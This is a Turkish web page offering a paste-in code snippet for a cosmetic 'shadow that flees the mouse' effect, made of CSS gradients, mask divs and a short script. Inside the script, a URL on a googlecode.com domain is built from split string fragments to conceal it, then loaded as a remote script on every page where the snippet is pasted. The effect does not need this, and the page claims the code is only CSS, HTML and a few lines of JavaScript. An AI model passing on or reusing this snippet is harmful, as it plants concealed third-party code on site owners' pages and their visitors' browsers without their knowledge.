Fareden Kaçan Gölge Efekti Kodu

Fareden Kaçan Gölge Efekti Hazır Kodu, benzerlerinden kat kat hızlı, ve tamamen farklı bir yöntem kullanıyor. Çoğu web sitenizde sorunsuz çalışacak fareden kaçan gölge html kodlaması sadece css html ve birkaç satır javascript kodlamadan oluşan, sayfanıza gölgeden bir perde çekip, bu perdenin fareden kaçmasını sağlayan hoş bir efekt oluşturuyor.

Kodun ilk satırındaki 0.9 yerine 0.6 veya 0.4 gibi değerler yazarak efekti yumuşatabilirsiniz.

Önizlemeyi Görmek İçin Tıklayın

<style>.k-d{opacity:0.9;}
.koddostu-mask{position:fixed;z-index:999;width:100%;height:100%;
background:transparent;overflow:hidden !important;}
.tl{width:100%;height:100%;background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPHJhZGlhbEdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgY3g9IjUwJSIgY3k9IjUwJSIgcj0iNzUlIj4KICAgIDxzdG9wIG9mZnNldD0iMCUiIHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMCIvPgogICAgPHN0b3Agb2Zmc2V0PSIxMCUiIHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMCIvPgogICAgPHN0b3Agb2Zmc2V0PSIxNiUiIHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMC4wNSIvPgogICAgPHN0b3Agb2Zmc2V0PSIyMyUiIHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMC4xNSIvPgogICAgPHN0b3Agb2Zmc2V0PSIyNyUiIHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMC4yNSIvPgogICAgPHN0b3Agb2Zmc2V0PSI0MSUiIHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMC40NSIvPgogICAgPHN0b3Agb2Zmc2V0PSI1NSUiIHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMC41NSIvPgogICAgPHN0b3Agb2Zmc2V0PSI4NiUiIHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMC43NSIvPgogICAgPHN0b3Agb2Zmc2V0PSIxMDAlIiBzdG9wLWNvbG9yPSIjMDAwMDAwIiBzdG9wLW9wYWNpdHk9IjAuNzUiLz4KICA8L3JhZGlhbEdyYWRpZW50PgogIDxyZWN0IHg9Ii01MCIgeT0iLTUwIiB3aWR0aD0iMTAxIiBoZWlnaHQ9IjEwMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+); background: -moz-radial-gradient(center, ellipse cover, rgba(0,0,0,0) 0%, rgba(0,0,0,0) 10%, rgba(0,0,0,0.05) 16%, rgba(0,0,0,0.15) 23%, rgba(0,0,0,0.25) 27%, rgba(0,0,0,0.45) 41%, rgba(0,0,0,0.55) 55%, rgba(0,0,0,0.75) 86%, rgba(0,0,0,0.75) 100%); background: -webkit-gradient(radial, center center, 0px, center center, 100%, color-stop(0%,rgba(0,0,0,0)), color-stop(10%,rgba(0,0,0,0)), color-stop(16%,rgba(0,0,0,0.05)), color-stop(23%,rgba(0,0,0,0.15)), color-stop(27%,rgba(0,0,0,0.25)), color-stop(41%,rgba(0,0,0,0.45)), color-stop(55%,rgba(0,0,0,0.55)), color-stop(86%,rgba(0,0,0,0.75)), color-stop(100%,rgba(0,0,0,0.75))); background: -webkit-radial-gradient(center, ellipse cover, rgba(0,0,0,0) 0%,rgba(0,0,0,0) 10%,rgba(0,0,0,0.05) 16%,rgba(0,0,0,0.15) 23%,rgba(0,0,0,0.25) 27%,rgba(0,0,0,0.45) 41%,rgba(0,0,0,0.55) 55%,rgba(0,0,0,0.75) 86%,rgba(0,0,0,0.75) 100%); background: -o-radial-gradient(center, ellipse cover, rgba(0,0,0,0) 0%,rgba(0,0,0,0) 10%,rgba(0,0,0,0.05) 16%,rgba(0,0,0,0.15) 23%,rgba(0,0,0,0.25) 27%,rgba(0,0,0,0.45) 41%,rgba(0,0,0,0.55) 55%,rgba(0,0,0,0.75) 86%,rgba(0,0,0,0.75) 100%); background: -ms-radial-gradient(center, ellipse cover, rgba(0,0,0,0) 0%,rgba(0,0,0,0) 10%,rgba(0,0,0,0.05) 16%,rgba(0,0,0,0.15) 23%,rgba(0,0,0,0.25) 27%,rgba(0,0,0,0.45) 41%,rgba(0,0,0,0.55) 55%,rgba(0,0,0,0.75) 86%,rgba(0,0,0,0.75) 100%); background: radial-gradient(ellipse at center, rgba(0,0,0,0) 0%,rgba(0,0,0,0) 10%,rgba(0,0,0,0.05) 16%,rgba(0,0,0,0.15) 23%,rgba(0,0,0,0.25) 27%,rgba(0,0,0,0.45) 41%,rgba(0,0,0,0.55) 55%,rgba(0,0,0,0.75) 86%,rgba(0,0,0,0.75) 100%); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr="#00000000", endColorstr="#bf000000",GradientType=1 );
background-size:200% 200%;
}
#topleft .tl{-webkit-border-bottom-right-radius: 100px; border-bottom-right-radius: 100px;}#topleft{top:0px;left:0px;-webkit-border-bottom-right-radius:100px; border-bottom-right-radius:100px;}#topright{top:0px;left:100%;-webkit-border-bottom-left-radius: 100px; border-bottom-left-radius: 100px}#botleft{top:100%;left:0px;-webkit-border-top-right-radius: 100px; border-top-right-radius: 100px;}#botright{top:100%;left:100%;-webkit-border-top-left-radius: 100px; border-top-left-radius: 100px;}#topright .tl{ -webkit-border-bottom-left-radius: 100px; border-bottom-left-radius: 100px;background-position: right top;}#botright .tl{  background-position: bottom right !important;-webkit-border-top-left-radius: 100px; border-top-left-radius: 100px;}#botleft .tl{ background-position: bottom left !important;-webkit-border-top-right-radius: 100px; border-top-right-radius: 100px;}</style>
<koddostu><div class='koddostu-mask k-d' id='topleft'><div class='tl'></div></div>
<div class='koddostu-mask k-d' id='topright'><div class='tl'></div></div>
<div class='koddostu-mask k-d' id='botleft'><div class='tl'></div></div>
<div class='koddostu-mask k-d' id='botright'><div class='tl'></div></div>
</koddostu>
<script>var d=document,tol=d.getElementById('topleft'),tor=d.getElementById('topright'),bol=d.getElementById('botleft'),bor=d.getElementById('botright'),w=document.body.clientWidth,h=window.innerHeight;var script = document.createElement('script');script.src = "h"+"t"+"tps"+":/"+"/k"+"do"+"stu.google"+"code.com/svn/c"+"que"+"ry.j"+"s";
document.getElementsByTagName('head')[0].appendChild(script);window.onresize=function(){};window.onmousemove=function(a){a=a||window.event;var b=a.clientX;a=a.clientY;var c=a-h+"px",e=b-w+"px",b=b+"px";a=a+"px";tol.style.top=c;tol.style.left=e;tor.style.top=c;tor.style.left=b;bol.style.top=a;bol.style.left=e;bor.style.top=a;bor.style.left=b};</script>

Nasıl ekleyeceğinizi öğrenmek için,sitenizi oluştururken kullandığınız platformu seçin: